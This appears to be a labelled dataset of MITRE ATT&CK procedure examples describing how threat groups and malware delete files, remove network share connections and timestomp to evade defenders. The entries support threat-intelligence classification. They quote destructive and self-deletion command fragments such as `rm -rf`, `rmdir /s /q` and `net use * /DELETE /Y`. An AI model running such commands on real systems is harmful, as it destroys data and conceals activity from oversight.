sarahwei/cyber_MITRE_CTI_dataset_v15 huggingface dataset:
TeamTNT has used a payload that removes itself after running. TeamTNT also has deleted locally staged files for collecting credentials or scan results for local IP addresses after exfiltrating them.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
The White Company has the ability to delete its malware entirely from the target system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Tropic Trooper has deleted dropper files on an infected system using command scripts.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Volt Typhoon has run `rd /S` to delete their working directories and files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Wizard Spider has used file deletion to remove some modules and configurations from an infected host after use.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
A menuPass macro deletes files after it has decoded and decompressed them.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ADVSTORESHELL can delete files and directories.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Anchor can self delete its dropper after the malware is successfully deployed.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
AppleJeus has deleted the MSI file after installation.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
AppleSeed can delete files from a compromised host after they are exfiltrated.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Aria-body has the ability to delete files and directories on compromised hosts.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Attor’s plugin deletes the collected files and log files after exfiltration.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
AuditCred can delete files from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Azorult can delete files from victim machines.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BADHATCH has the ability to delete PowerShell scripts from a compromised machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BBSRAT can delete files and directories.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BLACKCOFFEE has the capability to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BLINDINGCAN has deleted itself and associated artifacts from victim machines.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BLUELIGHT can uninstall itself.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BabyShark has cleaned up all files associated with the secondary payload execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
BackConfig has the ability to remove files and folders related to previous infections.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Bandook has a command to delete a file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Bankshot marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Bazar can delete its loader using a batch file in the Windows temporary folder.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Bisonal will delete its dropper and VBS scripts from the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Bumblebee can uninstall its loader through the use of a `Sdl` command.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
CARROTBAT has the ability to delete downloaded files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
COATHANGER removes files from victim environments following use in multiple instances.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
CSPY Downloader has the ability to self delete.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Calisto has the capability to use `rm -rf` to remove folders and files from the victim's machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Carbanak has a command to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Cardinal RAT can uninstall itself, including deleting its executable.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
CharmPower can delete created files from a compromised system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Recent versions of Cherry Picker delete files and registry keys created by the malware.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Crimson has the ability to delete files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Cryptoistic has the ability delete files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Cuba can use the command `cmd.exe /c del` to delete its artifacts from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
DanBot can delete its configuration file after installation.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
DarkWatchman has been observed deleting its original launcher after installation.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Denis has a command to delete files from the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Drovorub can delete specific files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Dtrack can remove its persistence and delete itself.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
DustySky can delete files it creates from the infected system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ECCENTRICBANDWAGON can delete log files generated from the malware stored at `C:\windows\temp\tmp0207`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Elise is capable of launching a remote shell on the host to delete itself.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Epic has a command to delete a file from the machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
EvilBunny has deleted the initial dropper after running through the environment checks.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Exaramel for Linux can uninstall its persistence mechanism and delete its configuration file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FALLCHILL can delete malware and associated artifacts from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FELIXROOT deletes the .LNK file from the startup directory as well as the dropper components.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FatDuke can secure delete its DLL.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Ferocious can delete files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FlawedAmmyy can execute batch scripts to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FruitFly will delete files on the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
FunnyDream can delete files including its dropper component.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Fysbis has the ability to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Gazer has commands to delete files and persistence mechanisms from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Gelsemium can delete its dropper component from the targeted system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
GoldenSpy's uninstaller can delete registry entries, files and folders, and finally itself once these tasks have been completed.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Grandoreiro can delete .LNK files created in the Startup folder.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Green Lambert can delete the original executable after initial installation in addition to unused functions.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
GreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
GrimAgent can delete old binaries on a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
GuLoader can delete its executable from the `AppData\Local\Temp` directory on the compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HALFBAKED can delete a specified file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HAWKBALL has the ability to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HTTPBrowser deletes its original installer file once installation is complete.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Hancitor has deleted files using the VBA `kill` function.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HermeticWiper has the ability to overwrite its own file with random bites.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Heyoka Backdoor has the ability to delete folders and files from a targeted system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Hi-Zor deletes its RAT installer file as it executes its DLL payload file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Hildegard has deleted scripts after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HotCroissant has the ability to clean up installed files, delete files, and delete itself from the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Hydraq creates a backdoor through which remote attackers can delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
HyperBro has the ability to delete a specified file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
IceApple can delete files and directories from targeted systems.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Imminent Monitor has deleted files related to its dynamic debugger feature.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
InnaputRAT has a command to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
InvisiMole has deleted files and directories including XML and files successfully uploaded to C2 servers.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Ixeshe has a command to delete a file from the machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
The JHUHUGIT dropper can delete itself from the victim. Another JHUHUGIT variant has the capability to delete specified files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
JPIN's installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
KEYMARBLE has the capability to delete files off the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
KONNI can delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Kazuar can delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Kevin can delete files created on the victim's machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
KillDisk has the ability to quit and delete itself.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Kivars has the ability to uninstall malware from the infected host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
The Komplex trojan supports file deletion.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
LightNeuron has a function to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Linfo creates a backdoor through which remote attackers can delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
LiteDuke can securely delete files by first writing random data to the file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
LockerGoga has been observed deleting its original launcher after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Lokibot will delete its dropped files after bypassing UAC.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
LookBack removes itself after execution and can delete files on the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
LoudMiner deleted installation files after completion.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Once loaded into memory, MESSAGETAP deletes the keyword_parm.txt and parm.txt configuration files from disk.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
MURKYTOP has the capability to delete local files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
MacMa can delete itself from the compromised computer.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
MacSpy deletes any temporary files it creates
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Once a file is uploaded, Machete will delete it from the machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Metamorfo has deleted itself from the system after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Meteor will delete the folder containing malicious scripts if it detects the hostname as `PIS-APP`, `PIS-MOB`, `WSUSPROXY`, or `PIS-DB`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Milan can delete files via `C:\Windows\system32\cmd.exe /c ping 1.1.1.1 -n 1 -w 3000 > Nul & rmdir /s /q`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Misdat is capable of deleting the backdoor file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
MoonWind can delete itself or specified files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
More_eggs can remove itself from a system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Mori can delete its DLL file and related files by Registry value.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Mosquito deletes files using DeleteFileW API call.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
NOKKI can delete files to cover tracks.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
NanHaiShu launches a script to delete their original decoy file to cover tracks.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Nebulae has the ability to delete files and directories.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
OSX_OCEANLOTUS.D has a command to delete a file from the system. OSX_OCEANLOTUS.D deletes the app bundle and dropper after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
OceanSalt can delete files from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Okrum's backdoor deletes files after they have been successfully uploaded to C2 servers.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
OopsIE has the capability to delete files and scripts from the victim's machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
OutSteel can delete itself following the successful execution of a follow-on payload.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
P.A.S. Webshell can delete scripts from a subdirectory of /tmp after they are run.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PLEAD has the ability to delete files on the compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
POWERSTATS can delete all files on the C:\, D:\, E:\ and, F:\ drives using PowerShell Remove-Item commands.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PUNCHBUGGY can delete files written to disk.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pasam creates a backdoor through which remote attackers can delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pay2Key can remove its log file from disk.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PcShare has deleted its files and components from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Penquin can delete downloaded executables after running them.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pillowmint has deleted the filepath `%APPDATA%\Intel\devmonsrv.exe`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PoetRAT has the ability to overwrite scripts and delete itself if a sandbox environment is detected.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pony has used scripts to delete itself after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PowerDuke has a command to write random data across a file and delete it.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PowerShower has the ability to remove all files created during the dropper process.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
After encrypting its own log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ProLock can remove files containing its payload after they are executed.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Proton removes all files in the /tmp directory.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Proxysvc can delete files indicated by the attacker and remove itself from disk using a batch file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
PyDCrypt will remove all created artifacts such as dropped executables.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Pysa has deleted batch files after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
QUADAGENT has a command to delete its Registry key and scheduled task.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
QakBot can delete folders and files including overwriting its executable with legitimate programs.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RCSession can remove files from a targeted system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RDAT can issue SOAP requests to delete already processed C2 emails. RDAT can also delete itself from the infected system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RDFSNIFFER has the capability of deleting local files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
REvil can mark its binary code for deletion after reboot.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ROKRAT can request to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RTM can delete all files created during its execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RainyDay has the ability to uninstall itself by deleting its service and files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Reaver deletes the original dropped file from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RedLeaves can delete specified files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Rising Sun can delete files and artifacts it creates.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
RunningRAT contains code to delete files from the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
S-Type has deleted files it has created on a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SDBbot has the ability to delete files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SDelete deletes data in a way that makes it unrecoverable.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SILENTTRINITY can remove files from the compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SLOTHFULMEDIA has deleted itself and the 'index.dat' file on a compromised machine to remove recent Internet history from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SQLRat has used been observed deleting scripts once used.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SUNBURST had a command to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Following the successful injection of SUNBURST, SUNSPOT deleted a temporary file it created named `InventoryManager.bk` after restoring the original SolarWinds Orion source code to the software library.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Saint Bot can run a batch script named `del.bat` to remove any Saint Bot payload-linked files from a compromise system if anti-analysis or locale checks fail.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Some Sakula samples use cmd.exe to delete temporary files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SamSam has been seen deleting its own files and payloads to make analysis of the attack more difficult.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SeaDuke can securely delete files, including deleting itself from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Seasalt has a command to delete a specified file.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ServHelper has a module to delete itself from the infected machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Shark can delete files downloaded to the compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ShimRat can uninstall itself from compromised hosts, as well create and modify directories, delete, move, copy, and rename files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Sibot will delete itself if a certain server response is received.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SombRAT has the ability to run `cancel` or `closeanddeletestorage` to remove all files from storage and delete the storage temp file on a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SpeakUp deletes files to remove evidence on the machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
StoneDrill has been observed deleting the temporary files once they fulfill their task.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
StrifeWater can self delete to cover its tracks.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
StrongPity can delete previously exfiltrated files from the compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Stuxnet uses an RPC server that contains a routine for file deletion and also removes itself from the system through a DLL export by deleting specific files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
SysUpdate can delete its configuration file from the targeted system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
TAINTEDSCRIBE can delete files from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
TDTESS creates then deletes log files during installation of itself as a service.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
TYPEFRAME can delete files off the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Taidoor can use `DeleteFileA` to remove files from infected hosts.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Trojan.Karagany has used plugins with a self-delete capability.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
USBStealer has several commands to delete files associated with the malware from the victim.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Uroburos can run a `Clear Agents Track` command on an infected machine to delete Uroburos-related logs.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Ursnif has deleted data staged in tmp files after exfiltration.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
VBShower has attempted to complicate forensic analysis by deleting all the files contained in `%APPDATA%\..\Local\Temporary Internet Files\Content.Word` and `%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word\`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
VERMIN can delete files on the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Volgmer can delete files and itself after infection to avoid analysis.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
WINDSHIELD is capable of file deletion along with other file system interaction.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
WhisperGate can delete tools from a compromised host after execution.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
WindTail has the ability to receive and execute a self-delete command.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Wingbird deletes its payload along with the payload's parent process after it finishes copying files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Winnti for Windows can delete the DLLs for its various components from a compromised host.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Woody RAT has the ability to delete itself from disk by creating a suspended notepad process and writing shellcode to delete a file into the suspended process using `NtWriteVirtualMemory`.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Zebrocy has a command to delete files and directories.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Zeus Panda has a command to delete a file. It also can uninstall scripts and delete files to cover its track.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ZxShell can delete files from the system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
ccf32 can delete files and folders from compromised machines.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
cmd can be used to delete files from the file system.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
gh0st RAT has the capability to to delete files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
jRAT has a function to delete files from the victim’s machine.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
metaMain has deleted collected items after uploading the content to its C2 server.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
njRAT is capable of deleting files.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
pngdowner deletes content from C2 communications that was saved to the user's temporary directory.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
zwShell has deleted itself after creating a service as well as deleted a temporary file when the system reboots.
Technique: T1070.004 Indicator Removal: File Deletion, Tactic: TA0005 Defense Evasion
Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection.
Technique: T1070.005 Indicator Removal: Network Share Connection Removal, Tactic: TA0005 Defense Evasion
InvisiMole can disconnect previously connected remote drives.
Technique: T1070.005 Indicator Removal: Network Share Connection Removal, Tactic: TA0005 Defense Evasion
The `net use \\system\share /delete` command can be used in Net to remove an established connection to a network share.
Technique: T1070.005 Indicator Removal: Network Share Connection Removal, Tactic: TA0005 Defense Evasion
RobbinHood disconnects all network shares from the computer with the command `net use * /DELETE /Y`.
Technique: T1070.005 Indicator Removal: Network Share Connection Removal, Tactic: TA0005 Defense Evasion
During the C0032 campaign, TEMP.Veles used timestomping to modify the `$STANDARD_INFORMATION` attribute on tools.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
During Cutting Edge, threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
During the SolarWinds Compromise, APT29 modified timestamps of backdoors to match legitimate Windows files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
APT28 has performed timestomping on victim files.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
APT29 has used timestomping to alter the Standard Information timestamps on their web shells to match other files in the same directory.
Technique: T1070.006 Indicator Removal: Timestomp, Tactic: TA0005 Defense Evasion
